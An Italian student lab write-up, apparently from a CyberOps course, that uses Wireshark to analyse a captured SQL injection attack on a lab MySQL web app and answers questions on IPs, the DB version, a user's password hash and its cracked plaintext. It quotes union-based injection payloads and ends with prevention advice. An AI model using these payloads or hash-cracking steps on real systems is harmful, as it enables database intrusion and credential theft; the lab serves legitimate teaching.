Attacco a un database MySQL

Obiettivi
Aprire Wireshark e caricare il file PCAP.
Visualizzare l'attacco di SQL Injection.
L'attacco di SQL Injection continua…
L'attacco di SQL Injection fornisce informazioni di sistema.
L'attacco di SQL Injection e le informazioni sulle tabelle.
L'attacco di SQL Injection si conclude.

Macchina utilizzata: CyberOps Workstation.

Tool utilizzati: **WireShark**.

Domande e Risposte.

Quali sono i due indirizzi IP coinvolti in questo attacco di SQL injection in base alle informazioni visualizzate?

I due indirizzi IP coinvolti sono:

Source	Destination
10.0.2.4	10.0.2.15
10.0.2.15	10.0.2.4

10.0.2.15 e 10.0.2.4.

Qual è la versione?

..</form>
..<pre>ID: 1' or 1=1 union select null, version ()#
First name: admin
Surname: admin</pre><pre>ID: 1' or 1=1 union select null, version ()#
First name: Gordon
Surname: Brown</pre><pre>ID: 1' or 1=1 union select null, version ()#
First name: Hack
Surname: Me</pre><pre>ID: 1' or 1=1 union select null, version ()#
First name: Pablo
Surname: Picasso</pre><pre>ID: 1' or 1=1 union select null, version ()#
First name: Bob
Surname: Smith</pre><pre>ID: 1' or 1=1 union select null, version ()#
First name:
Surname: 5.7.12-0ubuntu1.1</pre>
.

La versione è **5.7.12-Ubuntu1.1.**

Quale utente ha l'hash della password di 8d3533d75ae2c3966d7e0d4fcc69216b?

select user, password from users#
First name: 1337
Surname:
8d3533d75ae2c3966d7e0d4fcc69216b</pre><pre>ID: 1' or 1=1 union s

L'utente è **1337**.

Qual'è la password in chiaro?

Hash	Type	Result
8d3533d75ae2c3966d7e0d4fcc69216b	md5	charley

La password in chiaro è **charley**.

Domande di Riflessione.

Qual è il rischio che le piattaforme utilizzino il linguaggio SQL?

Il rischio principale è la **SQL Injection**, cioè quando input utente non controllati finiscono dentro query SQL, permettendo a un attaccante di leggere, modificare o cancellare dati nel database.

Succede se:

Si usano query con concatenazione di stringhe.
Non si validano gli input.
Si mostrano errori del DB all'utente.
Si danno troppi permessi all'utente DB.

Naviga in internet ed esegui una ricerca per "prevenire attacchi di SQL injection". Quali sono 2 metodi o passaggi che possono essere adottati per prevenire gli attacchi di SQL injection?

Query Parametrizzate.

Invece di inserire direttamente l'input nella query, si usano segnaposto e si lega il valore separatamente.
Così il database tratta l'input come dato, non come codice.

Validazione e sanificazione dell'input.

Controllare cosa può o non può essere inserito (es. solo lettere, numeri, email valide, ecc.).

Blocca input sospetti prima che arrivino al database.